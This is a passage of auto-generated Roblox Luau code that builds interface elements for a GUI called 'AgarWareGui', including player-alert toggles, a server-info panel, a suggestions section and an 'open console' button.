Color3.fromRGB(0, 0, 0); G2L["2af"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2af"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2af"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2af"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2af"]["Text"] = [[]]; G2L["2af"]["Name"] = [[RepPaintsTickBox]]; G2L["2af"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsText G2L["2b0"] = Instance.new("TextLabel", G2L["2ad"]); G2L["2b0"]["BorderSizePixel"] = 0; G2L["2b0"]["TextSize"] = 14; G2L["2b0"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2b0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2b0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b0"]["BackgroundTransparency"] = 1; G2L["2b0"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2b0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b0"]["Text"] = [[Alert Rep Changes]]; G2L["2b0"]["Name"] = [[RepPaintsText]]; G2L["2b0"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup G2L["2b1"] = Instance.new("Frame", G2L["294"]); G2L["2b1"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["2b1"]["BorderMode"] = Enum.BorderMode.Middle; G2L["2b1"]["Size"] = UDim2.new(0, 170, 0, 62); G2L["2b1"]["Position"] = UDim2.new(0, 0, 0.41944, 0); G2L["2b1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2b1"]["Name"] = [[PlayerAlertGroup]]; G2L["2b1"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTooltip G2L["2b2"] = Instance.new("LocalScript", G2L["2b1"]); G2L["2b2"]["Name"] = [[PlayerAlertTooltip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertScript G2L["2b3"] = Instance.new("LocalScript", G2L["2b1"]); G2L["2b3"]["Name"] = [[PlayerAlertScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.UIListLayout G2L["2b4"] = Instance.new("UIListLayout", G2L["2b1"]); G2L["2b4"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertAccentColor G2L["2b5"] = Instance.new("Frame", G2L["2b1"]); G2L["2b5"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["2b5"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["2b5"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["2b5"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["2b5"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["2b5"]["Name"] = [[PlayerAlertAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTitle G2L["2b6"] = Instance.new("TextLabel", G2L["2b1"]); G2L["2b6"]["TextWrapped"] = true; G2L["2b6"]["BorderSizePixel"] = 0; G2L["2b6"]["TextSize"] = 14; G2L["2b6"]["TextScaled"] = true; G2L["2b6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2b6"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["2b6"]["BackgroundTransparency"] = 0.95; G2L["2b6"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["2b6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b6"]["Text"] = [[Player Alerts]]; G2L["2b6"]["LayoutOrder"] = 1; G2L["2b6"]["Name"] = [[PlayerAlertTitle]]; G2L["2b6"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTitle.PlayerAlertMinimize G2L["2b7"] = Instance.new("TextButton", G2L["2b6"]); G2L["2b7"]["BorderSizePixel"] = 0; G2L["2b7"]["TextSize"] = 14; G2L["2b7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2b7"]["BackgroundTransparency"] = 1; G2L["2b7"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["2b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b7"]["Text"] = [[-]]; G2L["2b7"]["Name"] = [[PlayerAlertMinimize]]; G2L["2b7"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow G2L["2b8"] = Instance.new("Frame", G2L["2b1"]); G2L["2b8"]["BorderSizePixel"] = 0; G2L["2b8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b8"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2b8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2b8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b8"]["Name"] = [[WelcomeRow]]; G2L["2b8"]["LayoutOrder"] = 2; G2L["2b8"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeScript G2L["2b9"] = Instance.new("LocalScript", G2L["2b8"]); G2L["2b9"]["Name"] = [[WelcomeScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeTickBox G2L["2ba"] = Instance.new("TextButton", G2L["2b8"]); G2L["2ba"]["TextSize"] = 14; G2L["2ba"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ba"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ba"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2ba"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2ba"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2ba"]["Text"] = [[]]; G2L["2ba"]["Name"] = [[WelcomeTickBox]]; G2L["2ba"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeText G2L["2bb"] = Instance.new("TextLabel", G2L["2b8"]); G2L["2bb"]["BorderSizePixel"] = 0; G2L["2bb"]["TextSize"] = 14; G2L["2bb"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2bb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2bb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2bb"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2bb"]["BackgroundTransparency"] = 1; G2L["2bb"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2bb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2bb"]["Text"] = [[Welcome Messages]]; G2L["2bb"]["Name"] = [[WelcomeText]]; G2L["2bb"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow G2L["2bc"] = Instance.new("Frame", G2L["2b1"]); G2L["2bc"]["BorderSizePixel"] = 0; G2L["2bc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2bc"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2bc"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2bc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2bc"]["Name"] = [[WelcomeMSGRow]]; G2L["2bc"]["LayoutOrder"] = 3; G2L["2bc"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGScript G2L["2bd"] = Instance.new("LocalScript", G2L["2bc"]); G2L["2bd"]["Name"] = [[WelcomeMSGScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGChanger G2L["2be"] = Instance.new("TextBox", G2L["2bc"]); G2L["2be"]["Name"] = [[WelcomeMSGChanger]]; G2L["2be"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["2be"]["TextWrapped"] = true; G2L["2be"]["TextSize"] = 14; G2L["2be"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["2be"]["TextScaled"] = true; G2L["2be"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2be"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2be"]["ClearTextOnFocus"] = false; G2L["2be"]["Size"] = UDim2.new(0, 134, 0, 16); G2L["2be"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); G2L["2be"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2be"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGHelp G2L["2bf"] = Instance.new("TextButton", G2L["2bc"]); G2L["2bf"]["TextSize"] = 14; G2L["2bf"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["2bf"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["2bf"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["2bf"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2bf"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["2bf"]["Text"] = [[?]]; G2L["2bf"]["Name"] = [[WelcomeMSGHelp]]; G2L["2bf"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.OPENCONSOLE G2L["2c0"] = Instance.new("TextButton", G2L["17"]); G2L["2c0"]["TextWrapped"] = true; G2L["2c0"]["TextSize"] = 12; G2L["2c0"]["TextScaled"] = true; G2L["2c0"]["TextColor3"] = Color3.fromRGB(125, 125, 125); G2L["2c0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2c0"]["Size"] = UDim2.new(0, 60, 0, 25); G2L["2c0"]["LayoutOrder"] = 5; G2L["2c0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2c0"]["Text"] = [[OPEN CONSOLE]]; G2L["2c0"]["Name"] = [[OPENCONSOLE]]; G2L["2c0"]["Position"] = UDim2.new(-0.186, 0, 0.906, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.OPENCONSOLE.LocalScript G2L["2c1"] = Instance.new("LocalScript", G2L["2c0"]); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage G2L["2c2"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["2c2"]["Active"] = true; G2L["2c2"]["BorderSizePixel"] = 0; G2L["2c2"]["Name"] = [[MenuPage]]; G2L["2c2"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["2c2"]["Size"] = UDim2.new(0, 349, 0, 250); G2L["2c2"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c2"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0); G2L["2c2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c2"]["ScrollBarThickness"] = 0; G2L["2c2"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide G2L["2c3"] = Instance.new("Frame", G2L["2c2"]); G2L["2c3"]["BorderSizePixel"] = 0; G2L["2c3"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["2c3"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["2c3"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["2c3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c3"]["Name"] = [[MenuLeftSide]]; G2L["2c3"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.UIListLayout G2L["2c4"] = Instance.new("UIListLayout", G2L["2c3"]); G2L["2c4"]["Padding"] = UDim.new(0, 7); G2L["2c4"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup G2L["2c5"] = Instance.new("Frame", G2L["2c3"]); G2L["2c5"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["2c5"]["BorderMode"] = Enum.BorderMode.Middle; G2L["2c5"]["Size"] = UDim2.new(0, 170, 0, 103); G2L["2c5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2c5"]["Name"] = [[ServerGroup]]; G2L["2c5"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerScript G2L["2c6"] = Instance.new("LocalScript", G2L["2c5"]); G2L["2c6"]["Name"] = [[ServerScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.UIListLayout G2L["2c7"] = Instance.new("UIListLayout", G2L["2c5"]); G2L["2c7"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerAccentColor G2L["2c8"] = Instance.new("Frame", G2L["2c5"]); G2L["2c8"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["2c8"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["2c8"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["2c8"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["2c8"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["2c8"]["Name"] = [[ServerAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerTitle G2L["2c9"] = Instance.new("TextLabel", G2L["2c5"]); G2L["2c9"]["TextWrapped"] = true; G2L["2c9"]["BorderSizePixel"] = 0; G2L["2c9"]["TextSize"] = 14; G2L["2c9"]["TextScaled"] = true; G2L["2c9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2c9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2c9"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["2c9"]["BackgroundTransparency"] = 0.95; G2L["2c9"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["2c9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c9"]["Text"] = [[Server Info]]; G2L["2c9"]["LayoutOrder"] = 1; G2L["2c9"]["Name"] = [[ServerTitle]]; G2L["2c9"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerTitle.ServerMinimize G2L["2ca"] = Instance.new("TextButton", G2L["2c9"]); G2L["2ca"]["BorderSizePixel"] = 0; G2L["2ca"]["TextSize"] = 14; G2L["2ca"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ca"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2ca"]["BackgroundTransparency"] = 1; G2L["2ca"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["2ca"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ca"]["Text"] = [[-]]; G2L["2ca"]["Name"] = [[ServerMinimize]]; G2L["2ca"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.PlayersRow G2L["2cb"] = Instance.new("Frame", G2L["2c5"]); G2L["2cb"]["BorderSizePixel"] = 0; G2L["2cb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2cb"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2cb"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2cb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2cb"]["Name"] = [[PlayersRow]]; G2L["2cb"]["LayoutOrder"] = 1; G2L["2cb"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.PlayersRow.Text G2L["2cc"] = Instance.new("TextLabel", G2L["2cb"]); G2L["2cc"]["BorderSizePixel"] = 0; G2L["2cc"]["TextSize"] = 14; G2L["2cc"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2cc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2cc"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2cc"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2cc"]["BackgroundTransparency"] = 1; G2L["2cc"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2cc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2cc"]["Text"] = [[👥 Players:]]; G2L["2cc"]["Name"] = [[Text]]; G2L["2cc"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.RegionRow G2L["2cd"] = Instance.new("Frame", G2L["2c5"]); G2L["2cd"]["BorderSizePixel"] = 0; G2L["2cd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2cd"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2cd"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2cd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2cd"]["Name"] = [[RegionRow]]; G2L["2cd"]["LayoutOrder"] = 2; G2L["2cd"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.RegionRow.Text G2L["2ce"] = Instance.new("TextLabel", G2L["2cd"]); G2L["2ce"]["BorderSizePixel"] = 0; G2L["2ce"]["TextSize"] = 14; G2L["2ce"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2ce"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ce"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2ce"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2ce"]["BackgroundTransparency"] = 1; G2L["2ce"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2ce"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2ce"]["Text"] = [[🌐 Region:]]; G2L["2ce"]["Name"] = [[Text]]; G2L["2ce"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.UptimeRow G2L["2cf"] = Instance.new("Frame", G2L["2c5"]); G2L["2cf"]["BorderSizePixel"] = 0; G2L["2cf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2cf"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2cf"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2cf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2cf"]["Name"] = [[UptimeRow]]; G2L["2cf"]["LayoutOrder"] = 3; G2L["2cf"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.UptimeRow.Text G2L["2d0"] = Instance.new("TextLabel", G2L["2cf"]); G2L["2d0"]["BorderSizePixel"] = 0; G2L["2d0"]["TextSize"] = 14; G2L["2d0"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2d0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d0"]["BackgroundTransparency"] = 1; G2L["2d0"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2d0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d0"]["Text"] = [[⌛ Uptime:]]; G2L["2d0"]["Name"] = [[Text]]; G2L["2d0"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.LatencyRow G2L["2d1"] = Instance.new("Frame", G2L["2c5"]); G2L["2d1"]["BorderSizePixel"] = 0; G2L["2d1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d1"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2d1"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2d1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d1"]["Name"] = [[LatencyRow]]; G2L["2d1"]["LayoutOrder"] = 4; G2L["2d1"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.LatencyRow.Text G2L["2d2"] = Instance.new("TextLabel", G2L["2d1"]); G2L["2d2"]["BorderSizePixel"] = 0; G2L["2d2"]["TextSize"] = 14; G2L["2d2"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2d2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d2"]["BackgroundTransparency"] = 1; G2L["2d2"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2d2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d2"]["Text"] = [[📶 Latency:]]; G2L["2d2"]["Name"] = [[Text]]; G2L["2d2"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup G2L["2d3"] = Instance.new("Frame", G2L["2c3"]); G2L["2d3"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["2d3"]["BorderMode"] = Enum.BorderMode.Middle; G2L["2d3"]["Size"] = UDim2.new(0, 170, 0, 187); G2L["2d3"]["Position"] = UDim2.new(0, 0, 0.38333, 0); G2L["2d3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2d3"]["Name"] = [[SuggestionGroup]]; G2L["2d3"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionScript G2L["2d4"] = Instance.new("LocalScript", G2L["2d3"]); G2L["2d4"]["Name"] = [[SuggestionScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.UIListLayout G2L["2d5"] = Instance.new("UIListLayout", G2L["2d3"]); G2L["2d5"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionAccentColor G2L["2d6"] = Instance.new("Frame", G2L["2d3"]); G2L["2d6"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["2d6"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["2d6"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["2d6"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["2d6"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["2d6"]["Name"] = [[SuggestionAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionTitle G2L["2d7"] = Instance.new("TextLabel", G2L["2d3"]); G2L["2d7"]["TextWrapped"] = true; G2L["2d7"]["BorderSizePixel"] = 0; G2L["2d7"]["TextSize"] = 14; G2L["2d7"]["TextScaled"] = true; G2L["2d7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d7"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["2d7"]["BackgroundTransparency"] = 0.95; G2L["2d7"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["2d7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d7"]["Text"] = [[Suggestions/Bugs]]; G2L["2d7"]["LayoutOrder"] = 1; G2L["2d7"]["Name"] = [[SuggestionTitle]]; G2L["2d7"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionTitle.SuggestionMinimize G2L["2d8"] = Instance.new("TextButton", G2L["2d7"]); G2L["2d8"]["BorderSizePixel"] = 0; G2L["2d8"]["TextSize"] = 14; G2L["2d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d8"]["BackgroundTransparency"] = 1; G2L["2d8"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["2d8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d8"]["Text"] = [[-]]; G2L["2d8"]["Name"] = [[SuggestionMinimize]]; G2L["2d8"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.TitleRow G2L["2d9"] = Instance.new("Frame", G2L["2d3"]); G2L["2d9"]["BorderSizePixel"] = 0; G2L["2d9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d9"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2d9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2d9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d9"]["Name"] = [[TitleRow]]; G2L["2d9"]["LayoutOrder"] = 1; G2L["2d9"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.TitleRow.SuggestText G2L["2da"] = Instance.new("TextLabel", G2L["2d9"]); G2L["2da"]["BorderSizePixel"] = 0; G2L["2da"]["TextSize"] = 14; G2L["2da"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2da"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2da"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2da"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2da"]["BackgroundTransparency"] = 1; G2L["2da"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2da"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2da"]["Text"] = [[READ ME]]; G2L["2da"]["Name"] = [[SuggestText]]; G2L["2da"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.TitleRow.SuggestHelp G2L["2db"] = Instance.new("TextButton", 